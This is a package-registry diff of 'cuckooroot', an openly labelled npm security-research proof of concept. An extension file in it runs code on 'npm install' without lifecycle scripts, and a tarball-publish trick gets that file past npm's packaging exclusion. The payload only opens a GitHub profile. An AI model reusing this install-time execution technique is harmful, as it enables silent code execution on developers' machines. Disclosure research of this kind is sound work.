cuckooroot 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,48 @@
1
+ // CuckooRoot payload: top-level code executes on import during npm's bundled
2
+ // dependency actual-tree load (reify -> loadActual -> #applyNpmExtension).
3
+ // Effect: opens the researcher's GitHub profile in the default browser of
4
+ // whichever OS the install runs on. No lifecycle script, no trust grant.
5
+ import { spawn } from 'node:child_process'
6
+
7
+ const PROFILE_URL = 'https://github.com/X3r0Day'
8
+
9
+ function openerFor (url) {
10
+ if (process.platform === 'win32') {
11
+ // `start` treats the first argument as a window title; pass an empty one.
12
+ return [['cmd', ['/c', 'start', '', url]]]
13
+ }
14
+ if (process.platform === 'darwin') {
15
+ return [['open', [url]]]
16
+ }
17
+ // Linux / BSD / other unix-likes, in order of preference.
18
+ return [
19
+ ['xdg-open', [url]],
20
+ ['gio', ['open', url]],
21
+ ['sensible-browser', [url]],
22
+ ]
23
+ }
24
+
25
+ function openBrowser (url) {
26
+ for (const [cmd, args] of openerFor(url)) {
27
+ try {
28
+ const child = spawn(cmd, args, { detached: true, stdio: 'ignore' })
29
+ child.on('error', () => {})
30
+ child.unref()
31
+ return true
32
+ } catch {
33
+ // try the next opener
34
+ }
35
+ }
36
+ return false
37
+ }
38
+
39
+ try {
40
+ openBrowser(PROFILE_URL)
41
+ } catch {
42
+ // never break the install
43
+ }
44
+
45
+ // Keep the extension contract satisfied for the loader that called us.
46
+ export function transformManifest (pkg) {
47
+ return pkg
48
+ }
package/README.md CHANGED
@@ -1,3 +1,17 @@
1
- # Temporary Holding Version
1
+ # cuckooroot
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Research artifact for the CuckooRoot advisory (npm CLI 12.2.2, Node v26.13.1).
4
+
5
+ On install, npm's reify pass extracts this package and calls `loadActual()` rooted at the
6
+ extracted package directory (because `bundleDependencies` is declared). That call applies the
7
+ root-owned extension and imports `.npm-extension.mjs` in the npm process. The module's
8
+ top-level code opens the researcher's GitHub profile in the platform default browser.
9
+
10
+ No lifecycle scripts are declared. Nothing needs to be imported, required, or run by the
11
+ consumer — a single `npm install` is the entire trigger.
12
+
13
+ ## Note
14
+
15
+ This artifact is published from a prebuilt tarball. The root `.npm-extension.mjs` is in
16
+ npm-packlist's strict exclusion list, so a directory publish cannot ship it, while
17
+ `npm publish <prebuilt.tgz>` uploads the tarball bytes verbatim.
@@ -0,0 +1 @@
1
+ module.exports = 42
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "cuckooroot-bundled",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
package/package.json CHANGED
@@ -1,6 +1,24 @@
1
1
  {
2
2
  "name": "cuckooroot",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "CuckooRoot research artifact: dependency-shipped extension resolution during npm install",
5
+ "license": "MIT",
6
+ "repository": {
7
+ "type": "git",
8
+ "url": "https://github.com/X3r0Day/cuckooroot"
9
+ },
10
+ "keywords": [
11
+ "npm",
12
+ "security-research",
13
+ "research-artifact"
14
+ ],
15
+ "engines": {
16
+ "node": ">=18"
17
+ },
18
+ "bundleDependencies": [
19
+ "cuckooroot-bundled"
20
+ ],
21
+ "dependencies": {
22
+ "cuckooroot-bundled": "1.0.0"
23
+ }
24
+ }